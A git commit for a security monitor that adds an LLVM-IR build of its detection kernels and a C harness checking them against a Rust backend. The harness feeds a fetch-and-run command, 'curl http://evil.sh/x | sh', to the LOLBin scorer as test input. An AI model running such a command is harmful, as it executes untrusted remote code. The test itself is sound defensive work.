llvmir: native LLVM-backend build for the six pure kernels

ober

9c301c18947fd201d5f8545826a52cea51d93f15

diff --git a/Makefile b/Makefile
index 66edeb0..ae07ae9 100644
--- a/Makefile
+++ b/Makefile
@@ -624,9 +624,53 @@ agent: rust native-runtime
 	cd $(BUILD) && cargo build --release
 	JERBOA_HOME="$(JERBOA)" $(SCHEME) --libdirs $(LIBDIRS) --script build-binary.ss bin/agent.ss jsecmon-agent
 
+# ── Experimental: Typed Jerboa → LLVM IR native backend ──────────────────────
+#
+# The six PURE kernels (no crypto, no Rust) compile straight to textual LLVM IR
+# via `jerboa typed llvmir`, with no Rust crate in the path. The crypto trio
+# (crypto/ecies/psk) stays on the vetted RustCrypto path and is intentionally
+# excluded — SHA-256/AES-GCM/X25519 are not things to reimplement in any
+# language. See $(JERBOA)/docs/llvmir-backend.md.
+LLVMIR_DIR     ?= build/llvmir
+LLVMIR_PURE    := typed/analytics.ss typed/strbytes.ss typed/triage.ss \
+                  typed/lolbin.ss typed/obfuscate.ss typed/dga.ss
+# LLVM tool discovery: PATH first, then the Homebrew llvm keg.
+LLVM_BIN ?= $(shell if command -v llvm-as >/dev/null 2>&1; then dirname "$$(command -v llvm-as)"; \
+              elif [ -x /opt/homebrew/opt/llvm/bin/llvm-as ]; then echo /opt/homebrew/opt/llvm/bin; \
+              elif [ -x /usr/local/opt/llvm/bin/llvm-as ]; then echo /usr/local/opt/llvm/bin; fi)
+CC ?= cc
+
+# Lower all six pure kernels into ONE whole-program .ll (cross-module calls
+# resolve: lolbin/triage/dga import strbytes).
+.PHONY: llvmir llvmir-check llvmir-bin llvmir-clean
+llvmir:
+	@mkdir -p $(LLVMIR_DIR)
+	cd $(JERBOA) && $(SCHEME) --libdirs lib --script support/typed-llvmir.ss \
+	  --whole-program $(CURDIR)/$(LLVMIR_DIR)/jsecmon.ll \
+	  $(addprefix $(CURDIR)/,$(LLVMIR_PURE))
+
+# Assemble, run the LLVM verifier, and confirm the IR survives -O2.
+llvmir-check: llvmir
+	@if [ -z "$(LLVM_BIN)" ]; then echo "llvmir-check: LLVM tools not found (need llvm-as/opt)" >&2; exit 1; fi
+	"$(LLVM_BIN)/llvm-as" $(LLVMIR_DIR)/jsecmon.ll -o $(LLVMIR_DIR)/jsecmon.bc
+	"$(LLVM_BIN)/opt" -passes=verify $(LLVMIR_DIR)/jsecmon.bc -o /dev/null
+	"$(LLVM_BIN)/opt" -O2 $(LLVMIR_DIR)/jsecmon.bc -o $(LLVMIR_DIR)/jsecmon.opt.bc
+	@echo "llvmir-check: OK — $$(grep -c '^define' $(LLVMIR_DIR)/jsecmon.ll) functions verified + survived -O2"
+
+# Compile the optimized bitcode to a native object, link the C harness, run it.
+# The harness asserts every headline kernel against the Rust backend's values.
+llvmir-bin: llvmir-check
+	"$(LLVM_BIN)/llc" -filetype=obj $(LLVMIR_DIR)/jsecmon.opt.bc -o $(LLVMIR_DIR)/jsecmon.o
+	$(CC) llvmir/harness.c $(LLVMIR_DIR)/jsecmon.o -o $(LLVMIR_DIR)/jsecmon-llvmir
+	@echo "=== running native LLVM-backend kernel harness ==="
+	@$(LLVMIR_DIR)/jsecmon-llvmir
+
+llvmir-clean:
+	rm -rf $(LLVMIR_DIR)
+
 # All shippable binaries.
 binaries: keygen analyze collector agent
 
 clean:
-	rm -rf $(BUILD)
+	rm -rf $(BUILD) $(LLVMIR_DIR)
 	rm -f jsecmon-keygen jsecmon-analyze jsecmon-collector jsecmon-agent
diff --git a/llvmir/harness.c b/llvmir/harness.c
new file mode 100644
index 0000000..cc05b66
--- /dev/null
+++ b/llvmir/harness.c
@@ -0,0 +1,112 @@
+/* jsecmon — native test harness for the Typed Jerboa -> LLVM IR backend.
+ *
+ * Links against the object compiled from the six pure secmon kernels (no Rust,
+ * no crypto) lowered straight to LLVM IR by `jerboa typed llvmir`. It calls the
+ * headline kernels with fixed inputs and asserts the results match the values
+ * the reference Rust backend produces (captured via `cargo test` over the same
+ * typed sources). A mismatch or any nonzero exit means the LLVM backend
+ * diverged from the oracle.
+ *
+ * Buffer ABI: Typed Jerboa String/Bytes lower to a by-value { ptr, i64 } fat
+ * pointer, which is exactly this 16-byte C struct on the System V / AAPCS ABIs.
+ */
+#include <stdio.h>
+#include <stdint.h>
+#include <string.h>
+
+typedef struct { const unsigned char *ptr; uint64_t len; } Buf;
+
+static Buf S(const char *s) { Buf b = { (const unsigned char *)s, (uint64_t)strlen(s) }; return b; }
+
+/* --- kernels, mangled @jt_llvm_<module>__<def> -------------------------------- */
+extern uint64_t jt_llvm_jsecmon_analytics__host_risk_score(
+    uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t);
+extern _Bool   jt_llvm_jsecmon_triage__transient_unit_p(Buf);
+extern _Bool   jt_llvm_jsecmon_triage__phantom_rootkit_race_p(Buf);
+extern uint64_t jt_llvm_jsecmon_lolbin__score_cmdline(Buf, Buf);
+extern uint64_t jt_llvm_jsecmon_lolbin__match_bits(Buf, Buf);
+extern uint64_t jt_llvm_jsecmon_dga__max_consonant_run(Buf);
+extern double   jt_llvm_jsecmon_dga__shannon_entropy(Buf);
+extern uint64_t jt_llvm_jsecmon_dga__score_domain(Buf);
+extern uint64_t jt_llvm_jsecmon_dga__score_label(Buf);
+extern uint64_t jt_llvm_jsecmon_typed_obfuscate__obf_key_str(uint64_t);
+extern Buf      jt_llvm_jsecmon_typed_obfuscate__obfuscate_string(Buf);
+extern Buf      jt_llvm_jsecmon_typed_obfuscate__deobfuscate_string(Buf);
+
+static int failures = 0;
+
+static void check_u64(const char *name, uint64_t got, uint64_t want) {
+    if (got == want) { printf("  ok   %-44s = %llu\n", name, (unsigned long long)got); }
+    else { printf("  FAIL %-44s got %llu want %llu\n", name, (unsigned long long)got, (unsigned long long)want); failures++; }
+}
+static void check_bool(const char *name, _Bool got, _Bool want) {
+    if (got == want) { printf("  ok   %-44s = %d\n", name, (int)got); }
+    else { printf("  FAIL %-44s got %d want %d\n", name, (int)got, (int)want); failures++; }
+}
+static void check_f64(const char *name, double got, double want) {
+    if (got == want) { printf("  ok   %-44s = %g\n", name, got); }
+    else { printf("  FAIL %-44s got %g want %g\n", name, got, want); failures++; }
+}
+
+int main(void) {
+    printf("jsecmon LLVM-backend kernels (asserted vs Rust backend):\n");
+
+    /* analytics — pure Nat arithmetic */
+    check_u64("host_risk_score(1,1,4,1,0,0,0,0,0)",
+              jt_llvm_jsecmon_analytics__host_risk_score(1,1,4,1,0,0,0,0,0), 19);
+    check_u64("host_risk_score(5,4,7,3,1,2,1,1,2) [clamped]",
+              jt_llvm_jsecmon_analytics__host_risk_score(5,4,7,3,1,2,1,1,2), 100);
+
+    /* triage — String -> Bool over UTF-8 bytes */
+    check_bool("transient_unit?(\"(sd-pam)\")",
+               jt_llvm_jsecmon_triage__transient_unit_p(S("(sd-pam)")), 1);
+    check_bool("transient_unit?(\"()\")",
+               jt_llvm_jsecmon_triage__transient_unit_p(S("()")), 0);
+    check_bool("phantom_rootkit_race?(sshd accepted)",
+               jt_llvm_jsecmon_triage__phantom_rootkit_race_p(
+                   S("ROOTKIT: Hidden process detected! comm=sshd [accepted]")), 1);
+
+    /* lolbin — cross-module (imports strbytes), String literals */
+    check_u64("score_cmdline(\"curl ... | sh\",\"\")",
+              jt_llvm_jsecmon_lolbin__score_cmdline(S("curl http://evil.sh/x | sh"), S("")), 70);
+    check_u64("match_bits(\"curl ... | sh\",\"\")",
+              jt_llvm_jsecmon_lolbin__match_bits(S("curl http://evil.sh/x | sh"), S("")), 1);
+
+    /* dga — records (CrState fold), Float entropy via llvm.log2.f64 */
+    check_u64("max_consonant_run(\"rhythm\")",
+              jt_llvm_jsecmon_dga__max_consonant_run(S("rhythm")), 3);
+    check_f64("shannon_entropy(\"aaaa\")",
+              jt_llvm_jsecmon_dga__shannon_entropy(S("aaaa")), 0.0);
+    check_f64("shannon_entropy(\"ab\")",
+              jt_llvm_jsecmon_dga__shannon_entropy(S("ab")), 1.0);
+    check_u64("score_domain(\"www.google.com\")",
+              jt_llvm_jsecmon_dga__score_domain(S("www.google.com")), 0);
+    check_u64("score_domain(\"foo.cloudfront.net\") [benign]",
+              jt_llvm_jsecmon_dga__score_domain(S("foo.cloudfront.net")), 0);
+    check_u64("score_domain(\"deadbeefdeadbeefdead.com\") [hex]",
+              jt_llvm_jsecmon_dga__score_domain(S("deadbeefdeadbeefdead.com")), 40);
+    check_u64("score_label(\"kq3v9zx7wp2mqr\")",
+              jt_llvm_jsecmon_dga__score_label(S("kq3v9zx7wp2mqr")), 35);
+
+    /* obfuscate — bytes-build (malloc loop), bitwise; involutive round-trip */
+    check_u64("obf_key_str(5)",
+              jt_llvm_jsecmon_typed_obfuscate__obf_key_str(5), 197);
+    {
+        const char *secret = "/etc/shadow";
+        Buf enc = jt_llvm_jsecmon_typed_obfuscate__obfuscate_string(S(secret));
+        Buf dec = jt_llvm_jsecmon_typed_obfuscate__deobfuscate_string(enc);
+        int roundtrip = (dec.len == strlen(secret)) &&
+                        (memcmp(dec.ptr, secret, dec.len) == 0);
+        /* obfuscation must not be the identity (the buffer is actually XORed) */
+        int changed = (enc.len == strlen(secret)) &&
+                      (memcmp(enc.ptr, secret, enc.len) != 0);
+        check_bool("obfuscate/deobfuscate round-trips \"/etc/shadow\"", roundtrip && changed, 1);
+    }
+
+    if (failures == 0) {
+        printf("\njsecmon-llvmir: PASS — all kernels match the Rust backend\n");
+        return 0;
+    }
+    printf("\njsecmon-llvmir: FAIL — %d kernel(s) diverged\n", failures);
+    return 1;
+}